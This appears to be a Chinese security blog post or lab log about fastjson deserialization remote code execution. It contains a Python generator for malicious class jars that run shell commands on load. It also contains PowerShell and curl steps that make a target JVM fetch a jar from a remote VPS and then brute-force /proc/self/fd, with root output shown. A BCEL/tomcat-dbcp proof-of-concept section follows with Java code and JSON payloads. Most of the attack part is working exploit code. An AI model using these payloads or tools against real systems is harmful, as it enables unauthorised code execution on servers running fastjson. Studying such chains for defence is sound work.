return "java", "javac"
def ensure_asm(cache_dir):
cache_dir.mkdir(parents=True, exist_ok=True)
asm = cache_dir / f"asm-{ASM_VERSION}.jar"
if not asm.exists():
print(f"[+] downloading {ASM_URL}")
urllib.request.urlretrieve(ASM_URL, asm)
return asm
def parse_names(args):
names = []
if args.names:
for part in args.names.split(','):
part = part.strip()
if part:
names.append(part)
if args.start is not None and args.end is not None:
for i in range(args.start, args.end + 1):
names.append(f"{args.prefix}{i}")
if args.single:
names.append(args.single)
# de-duplicate while preserving order
seen, out = set(), []
for n in names:
if n not in seen:
seen.add(n)
out.append(n)
if not out:
raise SystemExit("No class names. Use --single, --names, or --start/--end.")
return out
def render_template(tpl, name, index):
return tpl.format(name=name, index=index)
def main():
ap = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, description=textwrap.dedent("""
Generate fastjson weird-name @JSONType class jar.
Direct JDK8 example: python batch_weird_fastjson.py --single Evil --out g \
--type-template 'jar:http:..2035896615:2333.g!.{name}' \
--cmd-template 'id > /tmp/rce-{name}.txt; date >> /tmp/rce-{name}.txt'
/proc/self/fd scan example: python batch_weird_fastjson.py --prefix E --start 10 --end 300 --out fdscan.jar \
--type-template 'jar:file:.proc.self.fd.{index}!.{name}' \
--cmd-template 'id > /tmp/rce-fd-{index}.txt; date >> /tmp/rce-fd-{index}.txt' """))
group = ap.add_mutually_exclusive_group(required=True)
group.add_argument("--single", help="single class simple name, e.g. Evil")
group.add_argument("--names", help="comma-separated class simple names, e.g. A,B,C")
group.add_argument("--range", nargs=2, metavar=("START", "END"), type=int, help="shortcut for --start START --end END")
ap.add_argument("--start", type=int, help="range start, e.g. 10")
ap.add_argument("--end", type=int, help="range end, e.g. 300")
ap.add_argument("--prefix", default="E", help="range class prefix, default E")
ap.add_argument("--out", required=True, help="output jar filename, e.g. g or fdscan.jar")
ap.add_argument("--type-template", required=True, help="fastjson @type template. Use {name} and {index} placeholders")
ap.add_argument("--entry-template", default="{name}.class", help="jar entry template, default {name}.class")
ap.add_argument("--cmd-template", required=True, help="command template executed in <clinit>. Use {name}/{index}")
ap.add_argument("--shell", choices=["linux", "windows"], default="linux", help="Runtime.exec shell wrapper")
ap.add_argument("--jdk", help="optional JDK path containing bin/java and bin/javac")
ap.add_argument("--workdir", default=".weird-build", help="temporary build dir")
ap.add_argument("--payloads", default="payloads.txt", help="output payload list file")
args = ap.parse_args()
if args.range:
args.start, args.end = args.range
names = parse_names(args)
work = Path(args.workdir).resolve()
work.mkdir(parents=True, exist_ok=True)
asm = ensure_asm(work)
src = work / "BatchWeirdGen.java"
src.write_text(JAVA_SRC, encoding="utf-8")
java, javac = find_java_tools(args.jdk)
cp_sep = ";" if os.name == "nt" else ":"
try:
subprocess.check_call([javac, "--release", "8", "-cp", str(asm), str(src)])
except subprocess.CalledProcessError:
subprocess.check_call([javac, "-source", "8", "-target", "8", "-cp", str(asm), str(src)])
shell0, shell1 = ("/bin/sh", "-c") if args.shell == "linux" else ("cmd.exe", "/c")
cmd = [java, f"-Dweird.shell0={shell0}", f"-Dweird.shell1={shell1}", "-cp", f"{asm}{cp_sep}{work}", "BatchWeirdGen", args.out]
payload_lines = []
for idx, name in enumerate(names):
# If generated by numeric range, {index} means the actual numeric suffix.
if args.start is not None and name.startswith(args.prefix):
try:
index = int(name[len(args.prefix):])
except ValueError:
index = idx
else:
index = idx
type_name = render_template(args.type_template, name, index)
internal_name = type_name.replace('.', '/')
entry = render_template(args.entry_template, name, index)
exec_cmd = render_template(args.cmd_template, name, index)
cmd.extend([entry, internal_name, exec_cmd])
payload_lines.append('{"@type":"%s"}' % type_name)
subprocess.check_call(cmd)
Path(args.payloads).write_text("\n".join(payload_lines) + "\n", encoding="utf-8")
print(f"[+] wrote payloads: {args.payloads}")
print("[+] first payload:")
print(payload_lines[0])
print(f"[+] total classes: {len(names)}")
if __name__ == "__main__":
main()
使用方法
python C:\Users\Lenovo\Documents\Playground\fastjson-1.2.83-lab\tools\batch_weird_fastjson.py `
--jdk D:\application\jdk_25 `
--range 10 300 `
--prefix E `
--out C:\Users\Lenovo\Documents\Playground\fastjson-1.2.83-lab\remote-vps-jdk8\fdscan.jar `
--type-template "jar:file:.proc.self.fd.{index}!.{name}" `
--cmd-template "id > /tmp/rce-fd-{index}.txt; date >> /tmp/rce-fd-{index}.txt" `
--shell linux `
--payloads C:\Users\Lenovo\Documents\Playground\fastjson-1.2.83-lab\payloads-fdscan.txt
/proc/self/fd 链怎么打
分两步:
第一步:先让 JVM 下载远程 jar
这个请求的作用是让 Java 拉取:
http://121.89.81.39:2333/fdscan
payload:
{"@type":"jar:http:..2035896615:2333.fdscan!.E3"}
发送:
$warm = "C:\Users\Lenovo\Documents\Playground\fastjson-1.2.83-lab\payload-warm-fdscan.json"
'{"@type":"jar:http:..2035896615:2333.fdscan!.E3"}' |
Set-Content -NoNewline -Encoding ascii $warm
curl.exe -i -X POST http://127.0.0.1:18080/parse `
-H "Content-Type: application/json" `
--data-binary "@$warm"
这一步返回 500 正常,关键看 VPS 日志:
tail -f /tmp/fastjson1283-vps/access.log
应该看到:
GET /fdscan UA=Java/17.0.19
第二步:枚举 /proc/self/fd/N
我已经生成好了 payload 字典:
C:\Users\Lenovo\Documents\Playground\fastjson-1.2.83-lab\payloads-fdscan.txt
里面类似:
{"@type":"jar:file:.proc.self.fd.3!.E3"}
{"@type":"jar:file:.proc.self.fd.4!.E4"}
{"@type":"jar:file:.proc.self.fd.5!.E5"}
...
{"@type":"jar:file:.proc.self.fd.120!.E120"}
扫描:
$tmp = "C:\Users\Lenovo\Documents\Playground\fastjson-1.2.83-lab\payload-current.json"
Get-Content C:\Users\Lenovo\Documents\Playground\fastjson-1.2.83-lab\payloads-fdscan.txt | ForEach-Object {
Set-Content -NoNewline -Encoding ascii $tmp $_
curl.exe -s -X POST http://127.0.0.1:18080/parse `
-H "Content-Type: application/json" `
--data-binary "@$tmp" | Out-Null
}
验证:
docker exec fastjson1283-vuln sh -c "ls -l /tmp/rce-fd-*.txt 2>/dev/null; cat /tmp/rce-fd-*.txt 2>/dev/null"
成功时会看到:
uid=0(root) gid=0(root) groups=0(root)
hit-fd-15
生成 fdscan jar 的命令
脚本路径:
C:\Users\Lenovo\Documents\Playground\fastjson-1.2.83-lab\tools\batch_weird_fastjson.py
生成 E3 到 E120:
python C:\Users\Lenovo\Documents\Playground\fastjson-1.2.83-lab\tools\batch_weird_fastjson.py `
--jdk D:\application\jdk_25 `
--range 3 120 `
--prefix E `
--out C:\Users\Lenovo\Documents\Playground\fastjson-1.2.83-lab\remote-vps-jdk8\fdscan `
--type-template "jar:file:.proc.self.fd.{index}!.{name}" `
--cmd-template "id > /tmp/rce-fd-{index}.txt; date >> /tmp/rce-fd-{index}.txt; echo hit-fd-{index} >> /tmp/rce-fd-{index}.txt" `
--shell linux `
--payloads C:\Users\Lenovo\Documents\Playground\fastjson-1.2.83-lab\payloads-fdscan.txt
上传到 VPS:
scp C:\Users\Lenovo\Documents\Playground\fastjson-1.2.83-lab\remote-vps-jdk8\fdscan root@121.89.81.39:/tmp/fastjson1283-vps/fdscan
关键点
1. 预热 payload 用 jar:http
{"@type":"jar:http:..2035896615:2333.fdscan!.E3"}
作用:让 JVM 下载远程 jar,并在本地形成打开的临时 fd。
2. 利用 payload 用 jar:file
{"@type":"jar:file:.proc.self.fd.15!.E15"}
fastjson 内部会变成:
jar:file:/proc/self/fd/15!/E15.class
然后从 JVM 已打开的 fd 里读 class,完成加载执行。
3. fd 不固定
这次命中的是:
15
79
下次可能变,所以要批量扫。建议范围:
3-300
不行就扩大到:
3-1024
4. 每轮最好换远程 jar 路径
比如:
/fdscan
/fdscan2
/fdscan3
避免 Java URLClassLoader / JarURLConnection 缓存旧 jar。
我又自己本地试了一下,成功了,可以用刚才那个脚本生成一个jar包,这个jar包里用asm生成了一堆.class文件,可以先加载jar包,
{"@type":"jar:http:..2035896615:7777.fdscan!.E1"}
加载之后再用脚本生成的字典爆破,顺利成功


复现成功。
fastjson-BCEL不出网打法原理分析
前面介绍的是fastjson利用jndi注入来远程加载恶意类的方法,如果机器在内网无法访问互联网那么这种方法就失败了,虽然TemplatesImpl利用链虽然原理上也是利用了 ClassLoader 动态加载恶意代码,但是需要开启 Feature.SupportNonPublicField ,并且实际应用中其实不多见所以我们就介绍另外一种 攻击方法apache-BCEL,直接传入字节码不需要出网就可执行恶意代码但是需要引入tomcat的依赖,但 在实际攻击中还算是比较常见的。
复现环境
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-dbcp</artifactId> <version>9.0.20</version> </dependency> // tomcat-bdcp在7还是8版本一下名称叫做dbcp,大家引入的时候注意一下
POC
{ "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b......"
}
正常使用BCEL:
package org.example;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
public class fastjsonBcel {
public static void main(String[] args) throws Exception {
ClassLoader classLoader = new ClassLoader();
byte[] bytes = fileToBinArray(new File("C:\\Users\\Lenovo\\Downloads\\Spring-Cloud-Function-Spel-main\\ctf-demo\\target\\classes\\org\\example\\Evil.class"));
String code = Utility.encode(bytes, true);
classLoader.loadClass("$$BCEL$$" + code).newInstance();
} // main 方法在此结束
// 方法应定义在 class 层级
public static byte[] fileToBinArray(File file) {
try {
InputStream fis = new FileInputStream(file);
return FileCopyUtils.copyToByteArray(fis);
} catch (Exception ex) {
throw new RuntimeException("transform file into bin Array 出错", ex);
}
}
}
这里需要说明一下driverClassName里面传入的其实是恶意类经过BCEL协议编码过后的代码,网上很多 的人都没有说明,也没有告诉大家如何生成,后面部分会为一步一步说。
com.sun.org.apache.bcel.internal.util里面有一个classLoader类,ClassLoader类里面有一个 loadClass方法,如果满足方法里面的条件就可以动态调用恶意代码,其中恶意代码是通过BCEL格式传入 的。
代码很简单,创建一个对象然后调用loadClass方法,需要注意的是为什么我们需要做编码这一步:String code = Utility.encode(bytes,true);
我们在调用loadClass方法的时候会调用 creatClass方法,这里需要跟进去看看
可以看到在进入到 creatClass方法以后会对数据进行解码,所以在之前我们需要进行编码而且为了满足 条件需要加上
$$BCEL$$
相关的字符串才能绕过if判断。
成功执行命令,那么现在我们需要考虑的就是如何将这个恶意方法和fastjson结合起来。
tomcat-dbcp:
结合tomcat-dbcp这个类进行组合达到触发fastjson的目的:
tomcat-dbcp里面有一个BasicDataSource类,在反序列化的时候会调用getConnection()方法:
getConnection()方法在返回的时候会调用createDataSource()方法:
createDataSource()方法又会调用createConnectionFactory()方法,
问题代码:
driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
正常BCEL的代码:
ClassLoader classLoader = new ClassLoader();
classLoader.loadClass("$$BCEL$$"+code).newInstance();
通过动态类加载调用我们的loadclass,如果Class.forName(driverClassName, true, driverClassLoader)中的driverClassName和driverClassLoader可控,那么我们就可以传入我们正常BCEL生成的 classLoader和BCEL绕过的代码,恰巧这里有对应的set方法,那么在fastjson反序列化中就会调用set方法来达到可控的目的:
public class fastjsonBcel {
public static void main(String[] args) throws Exception {
ClassLoader classLoader = new ClassLoader();
byte[] bytes = fileToBinArray(new File("D:\\Evil.class"));
String code = Utility.encode(bytes,true);
BasicDataSource basicDataSource = new BasicDataSource();
basicDataSource.setDriverClassLoader(classLoader);
basicDataSource.setDriverClassName("$$BCEL$$"+code);
basicDataSource.getConnection();
}
换成正常POC测试:
package org.example;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.springframework.util.FileCopyUtils;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
public class fastjsonBcel {
public static void main(String[] args) throws Exception {
// 1. 读取 Class 文件并进行 BCEL 编码
byte[] bytes = fileToBinArray(new File("C:\\Users\\Lenovo\\Downloads\\Spring-Cloud-Function-Spel-main\\ctf-demo\\target\\classes\\org\\example\\Evil.class"));
String code = Utility.encode(bytes, true);
// 2. 构造 Fastjson BCEL Payload (注意 driverClassLoader 的大小写)
String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"," +
"\"driverClassName\":\"$$BCEL$$" + code + "\"," +
"\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
// 3. 触发反序列化
JSON.parseObject(s);
}
// 补充补全之前缺失的静态方法
public static byte[] fileToBinArray(File file) {
try {
InputStream fis = new FileInputStream(file);
return FileCopyUtils.copyToByteArray(fis);
} catch (Exception ex) {
throw new RuntimeException("transform file into bin Array 出错", ex);
}
}
}
成功触发
payload
{
"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassName":"$$BCEL$$code...." ,
"driverClassLoader":{
"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"
}
}
{
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
//这里是tomcat>8的poc,如果小于8的话用到的类是org.apache.tomcat.dbcp.dbcp.BasicDataSource
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}:"bbb"
}
参考文章
https://goodapple.top/archives/832
https://www.anquanke.com/post/id/225439
https://drun1baby.top/2022/08/08/Java反序列化Fastjson篇03-Fastjson各版本绕过分析/#0x09-Fastjson-lt-x3D-1-2-61-通杀
https://www.cnblogs.com/xyylll/p/15818964.html
https://mp.weixin.qq.com/s?__biz=MzIwMDk1MjMyMg==&mid=2247486627&idx=1&sn=b768bebbd40c7d5b39071c711d9a19aa&scene=21&poc_token=HH8wPWqjp-__uycr_GfxRHLF60AuHD1Ia0LmVYmE
https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg
https://blog.gm7.org/docs/代码审计/java安全/应用漏洞分析/fastjson1.2.68分析
https://fearsoff.org/cn/research/fastjson-1-2-83-rce
https://cloud.tencent.com/developer/article/2335078
浙公网安备 33010602011771号